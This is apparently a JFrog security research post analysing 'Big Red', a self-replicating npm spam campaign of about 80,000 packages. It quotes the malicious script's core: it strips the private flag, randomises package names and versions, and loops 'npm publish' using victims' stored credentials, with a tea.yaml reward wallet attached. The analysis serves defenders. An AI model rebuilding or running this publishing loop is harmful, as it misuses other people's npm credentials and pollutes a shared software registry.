Big Red - Indonesian-based Self-replicating Malicious Spam Campaign detected in npm

The JFrog Security Team has recently detected a malicious cluster of about 80,000 self-replicating packages in the NPM registry. The campaign is still live on npm and continues to be tracked by our research team. While some of the malicious packages were initially reported through OSV, a more thorough investigation revealed that the malicious campaign is much more widespread than initially reported. The malicious code is simple, however - the campaign’s scale, automation pattern, and random name generation make it stand out from most npm supply chain attacks. What we see is an infrastructure that can mass-produce packages, using randomized names and versions to blend into normal registry noise.

The code is a simple but effective npm package factory. It wires together a few standard modules and a popular name generator into an automated loop that continuously rewrites package metadata and publishes new packages to the public registry under automatically generated names.

We have named this campaign “Big Red” (BR) due to a comment used by the malware author as part of its random name generation scheme. Based on the Indonesian-language phrases used in the code comments and in some of the generated package names, the activity is likely operated by an Indonesia-based actor.

BR Payload Analysis

Several packages reference the veylatea package (https://www.npmjs.com/package/veylatea) and include a configuration file tea.yaml:

version: 1.0.0
codeOwners:
  - '0x61d82F709e595d579FAd3dFa688489B4556743D7'
quorum: 1

This strongly suggests that the packages were generated to boost visibility and page rank and to extract rewards from the tea.xyz ecosystem. While at their current iteration they do not pose significant direct risk to end-users, they reuse the victim’s credentials and abuse the npm registry.

BR achieves this by including a template package.json file and ensuring that this template is publishable by stripping out the private flag whenever it is set:

let packageData = JSON.parse(packageJson);
if (packageData.private === true) {
     delete packageData.private;
}

Once the package is set up for publication, the script assigns a random-looking semantic version and a freshly generated name. Some of the payload variants rely on the existing unique-names-generator legitimate npm package, seeded with dictionaries of adjectives, colors, and animals, producing names such as ambitious_meadowlark_z3n or annoyed_raccoon_z3n:

const randomName = uniqueNamesGenerator({
  dictionaries: [adjectives, colors, animals],
}); // big_red_donkey (computed once, never used)

const newVersion = `${Math.floor(Math.random() * 4) + 1}.${
     Math.floor(Math.random() * 4) + 1
   }.${Math.floor(Math.random() * 4) + 1}`;
packageData.version = newVersion;

let randomFruit = uniqueNamesGenerator({
   dictionaries: [adjectives, animals, colors], // colors can be omitted here as not used
   length: 2,
 }); // big-donkey
 packageData.name = `${randomFruit}_z3n`;

Other payload variants replace this scheme with a custom wordlist based on Indonesian personal names and foods, resulting in identifiers like indah-ketoprak73-riris or ocha-sambel51-breki.

After the metadata in package.json (and package-lock.json) is updated to match the new name and version, the script calls npm publish --access public to push the package to the registry, reusing the victim user’s stored npm credentials.

fs.writeFileSync("package.json", JSON.stringify(packageData, null, 2));
 
 let packageLockJson = fs.readFileSync("package-lock.json");
 let packageLockData = JSON.parse(packageLockJson);
 packageLockData.name = packageData.name;
 
 fs.writeFileSync(
   "package-lock.json",
   JSON.stringify(packageLockData, null, 2)
 );

The output is inspected for rate limiting (HTTP 429 “Too Many Requests”); if publishing is not blocked, the script increments its internal counter, waits for a short delay, and then restarts the process. The result is a tight, fully automated loop that can flood the npm ecosystem with large numbers of superficially legitimate packages, all derived from the same code template and differentiated only by randomized metadata.

exec("npm publish --access public", (error, stdout, stderr) => {
if (stdout.includes("429 Too Many Requests")) {
     console.error("Error: Limit publish! Coba lagi nanti.");
     return;
   }
   const delay = generateRandomDelay();
   publishCount++;
   console.log(`Sukses mem-publish! Total publish: ${publishCount}`);
   setTimeout(publishPackage, delay);
 });

As a result, around 80,000 packages were published across 18 user accounts. As mentioned, because these packages contain nothing except this self-replicating publishing logic, their main purpose is probably to reuse victim npm credentials in order to extract rewards from the tea.xyz ecosystem, however more possible explanations include SEO or visibility farming, benchmarking, stress-testing how well automated publishing works in the npm ecosystem, or a dry run for a future campaign where the same infrastructure and naming scheme could be reused to deliver real malicious payloads for the campaigns with self-replicated code.

Staying safe against Big Red

To prevent the spreading of this campaign, npm users should check their published packages and make sure no new unintended packages were published in their name.

Frog Curation customers are protected, as all of the relevant packages were added as malicious in the JFrog Catalog. We are continuing to monitor the campaign and adding more packages as malicious as the campaign develops.

IoCs

tea.xyz addresses

Self-replicating file hashes

NPM users